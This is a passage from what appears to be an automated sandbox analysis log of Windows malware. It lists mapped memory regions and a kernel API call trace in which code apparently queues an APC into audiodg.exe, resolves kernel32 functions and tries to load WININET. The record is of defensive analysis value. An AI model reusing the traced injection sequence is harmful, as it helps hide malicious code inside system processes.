"\\Windows\\System32\\rsaenh.dll" Region: id = 2917 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 2918 start_va = 0x7feff570000 end_va = 0x7feff608fff entry_point = 0x7feff571c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" Region: id = 2919 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2920 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2921 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3019 start_va = 0x130000 end_va = 0x131fff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3020 start_va = 0x1340000 end_va = 0x1742fff entry_point = 0x0 region_type = private name = "private_0x0000000001340000" filename = "" Region: id = 3021 start_va = 0x1750000 end_va = 0x1b42fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001750000" filename = "" Region: id = 3022 start_va = 0x743b0000 end_va = 0x743b5fff entry_point = 0x743b1010 region_type = mapped_file name = "ksuser.dll" filename = "\\Windows\\System32\\ksuser.dll" Region: id = 3023 start_va = 0x7fefbcf0000 end_va = 0x7fefbd6ffff entry_point = 0x7fefbd4e78c region_type = mapped_file name = "AUDIOKSE.dll" filename = "\\Windows\\System32\\AUDIOKSE.dll" Region: id = 3024 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 3025 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 3026 start_va = 0x7fefddc0000 end_va = 0x7fefddf5fff entry_point = 0x7fefddc1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" Region: id = 3027 start_va = 0x7fefde70000 end_va = 0x7fefde89fff entry_point = 0x7fefde71558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" Region: id = 3028 start_va = 0x7fefdf30000 end_va = 0x7fefdf69fff entry_point = 0x7fefdf31320 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" Region: id = 3029 start_va = 0x7feff310000 end_va = 0x7feff4e6fff entry_point = 0x7feff311010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" Region: id = 3064 start_va = 0x140000 end_va = 0x141fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3065 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 3066 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3067 start_va = 0x170000 end_va = 0x171fff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3068 start_va = 0x470000 end_va = 0x470fff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 3069 start_va = 0x870000 end_va = 0x871fff entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3070 start_va = 0x880000 end_va = 0x8c1fff entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3071 start_va = 0x1b50000 end_va = 0x1f52fff entry_point = 0x0 region_type = private name = "private_0x0000000001b50000" filename = "" Region: id = 3072 start_va = 0x7fef9f90000 end_va = 0x7fefa117fff entry_point = 0x7fef9fa2920 region_type = mapped_file name = "WMALFXGFXDSP.dll" filename = "\\Windows\\System32\\WMALFXGFXDSP.dll" Region: id = 3073 start_va = 0x7fef9f20000 end_va = 0x7fef9f8bfff entry_point = 0x7fef9f21010 region_type = mapped_file name = "mfplat.dll" filename = "\\Windows\\System32\\mfplat.dll" Region: id = 3074 start_va = 0x7feff1e0000 end_va = 0x7feff22cfff entry_point = 0x7feff1e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" Region: id = 3075 start_va = 0x7feffce0000 end_va = 0x7feffce7fff entry_point = 0x7feffce1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" Thread: id = 205 os_tid = 0x3c8 [0081.972] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\audiodg.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.973] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.986] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0081.986] IoIs32bitProcess (Irp=0x0) returned 0 [0081.986] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80036b10c0 [0081.986] KeInitializeApc (Apc=0xfffffa80036b10c0, Thread=0xfffffa80036af060, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0081.986] KeInsertQueueApc (Apc=0xfffffa80036b10c0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0081.986] ExFreePoolWithTag (P=0xfffffa80036b10c0, Tag=0x0) [0081.986] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa80036b3940 [0081.986] IoGetCurrentProcess () returned 0xfffffa80036afb30 [0081.986] PsGetCurrentProcessId () returned 0x3c4 [0081.986] IoIs32bitProcess (Irp=0x0) returned 0 [0081.986] KeInitializeEvent (in: Event=0xfffffa80036b3980, Type=0x0, State=0 | out: Event=0xfffffa80036b3980) [0081.986] ExQueueWorkItem (in: WorkItem=0xfffffa80036b3940*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80036b3940), QueueType=0x1 | out: WorkItem=0xfffffa80036b3940*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80036b3940)) [0082.009] KeWaitForMutexObject () returned 0x0 [0082.009] ExFreePoolWithTag (P=0xfffffa80036b3940, Tag=0x0) [0082.016] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0082.030] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0082.090] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0082.094] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\MMDevAPI.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0082.097] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0082.101] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0082.103] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0082.104] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0082.111] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0082.113] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\propsys.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0082.123] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0082.125] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0082.142] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0082.145] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0082.160] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0082.162] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0082.172] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0082.172] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0082.172] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0082.172] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0082.172] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x0 [0082.354] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c42000 [0082.354] IdePortDispatch () returned 0x103 [0082.373] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b85000 [0082.373] IdePortDispatch () returned 0x103 [0082.381] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d01000 [0082.381] IdePortDispatch () returned 0x103 [0082.383] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d36000 [0082.383] IdePortDispatch () returned 0x103 [0082.385] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4c000 [0082.386] IdePortDispatch () returned 0x103 [0082.387] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d50000 [0082.387] IdePortDispatch () returned 0x103 [0082.396] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003540000 [0082.396] IdePortDispatch () returned 0x103 [0082.397] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003558000 [0082.397] IdePortDispatch () returned 0x103 [0082.400] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b05000 [0082.400] IdePortDispatch () returned 0x103 [0082.408] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c90000 [0082.408] IdePortDispatch () returned 0x103 [0082.410] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c92000 [0082.410] IdePortDispatch () returned 0x103 [0082.412] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cea000 [0082.412] IdePortDispatch () returned 0x103 [0082.413] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d02000 [0082.413] IdePortDispatch () returned 0x103 [0082.414] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d0a000 [0082.414] IdePortDispatch () returned 0x103 [0082.415] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d22000 [0082.415] IdePortDispatch () returned 0x103 [0082.416] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4a000 [0082.416] IdePortDispatch () returned 0x103 [0082.418] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5c000 [0082.418] IdePortDispatch () returned 0x103 [0082.428] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003590000 [0082.429] IdePortDispatch () returned 0x103 [0082.430] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003593000 [0082.430] IdePortDispatch () returned 0x103 [0082.432] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b7000 [0082.432] IdePortDispatch () returned 0x103 [0082.435] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035bd000 [0082.435] IdePortDispatch () returned 0x103 [0082.436] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c0000 [0082.436] IdePortDispatch () returned 0x103 [0082.437] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c3000 [0082.437] IdePortDispatch () returned 0x103 [0082.438] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c6000 [0082.438] IdePortDispatch () returned 0x103 [0082.439] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c9000 [0082.439] IdePortDispatch () returned 0x103 [0082.440] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cd000 [0082.440] IdePortDispatch () returned 0x103 [0082.441] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d1000 [0082.441] IdePortDispatch () returned 0x103 [0082.443] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b4f000 [0082.443] IdePortDispatch () returned 0x103 [0082.444] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b56000 [0082.444] IdePortDispatch () returned 0x103 [0082.445] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b59000 [0082.445] IdePortDispatch () returned 0x103 [0082.446] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b5c000 [0082.446] IdePortDispatch () returned 0x103 [0082.447] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b60000 [0082.447] IdePortDispatch () returned 0x103 [0082.448] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b65000 [0082.448] IdePortDispatch () returned 0x103 [0082.450] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b89000 [0082.450] IdePortDispatch () returned 0x103 [0082.451] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8c000 [0082.452] IdePortDispatch () returned 0x103 [0082.453] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf9000 [0082.453] IdePortDispatch () returned 0x103 [0082.454] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002def000 [0082.454] IdePortDispatch () returned 0x103 [0082.455] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df2000 [0082.455] IdePortDispatch () returned 0x103 [0082.456] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df5000 [0082.456] IdePortDispatch () returned 0x103 [0082.459] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003421000 [0082.459] IdePortDispatch () returned 0x103 [0082.460] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003461000 [0082.460] IdePortDispatch () returned 0x103 [0082.461] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003464000 [0082.462] IdePortDispatch () returned 0x103 [0082.463] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003467000 [0082.463] IdePortDispatch () returned 0x103 [0082.465] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800348e000 [0082.465] IdePortDispatch () returned 0x103 [0082.466] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003494000 [0082.466] IdePortDispatch () returned 0x103 [0082.467] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003497000 [0082.467] IdePortDispatch () returned 0x103 [0082.469] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034bb000 [0082.469] IdePortDispatch () returned 0x103 [0082.471] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c1000 [0082.471] IdePortDispatch () returned 0x103 [0082.472] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e8000 [0082.472] IdePortDispatch () returned 0x103 [0082.473] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034eb000 [0082.473] IdePortDispatch () returned 0x103 [0082.474] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ee000 [0082.474] IdePortDispatch () returned 0x103 [0082.475] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003512000 [0082.475] IdePortDispatch () returned 0x103 [0082.476] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003515000 [0082.476] IdePortDispatch () returned 0x103 [0082.477] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003518000 [0082.477] IdePortDispatch () returned 0x103 [0082.478] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800351b000 [0082.478] IdePortDispatch () returned 0x103 [0082.479] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003521000 [0082.480] IdePortDispatch () returned 0x103 [0082.481] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003527000 [0082.481] IdePortDispatch () returned 0x103 [0082.482] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800352b000 [0082.482] IdePortDispatch () returned 0x103 [0082.483] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800352f000 [0082.483] IdePortDispatch () returned 0x103 [0082.485] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003576000 [0082.485] IdePortDispatch () returned 0x103 [0082.486] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003590000 [0082.486] IdePortDispatch () returned 0x103 [0082.486] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003598000 [0082.486] IdePortDispatch () returned 0x103 [0082.487] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b0000 [0082.487] IdePortDispatch () returned 0x103 [0082.488] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b8000 [0082.488] IdePortDispatch () returned 0x103 [0082.488] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d0000 [0082.488] IdePortDispatch () returned 0x103 [0082.490] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d3000 [0082.490] IdePortDispatch () returned 0x103 [0082.504] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002def000 [0082.504] IdePortDispatch () returned 0x103 [0082.506] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003420000 [0082.506] IdePortDispatch () returned 0x103 [0082.506] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003410000 [0082.506] IdePortDispatch () returned 0x103 [0082.507] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, 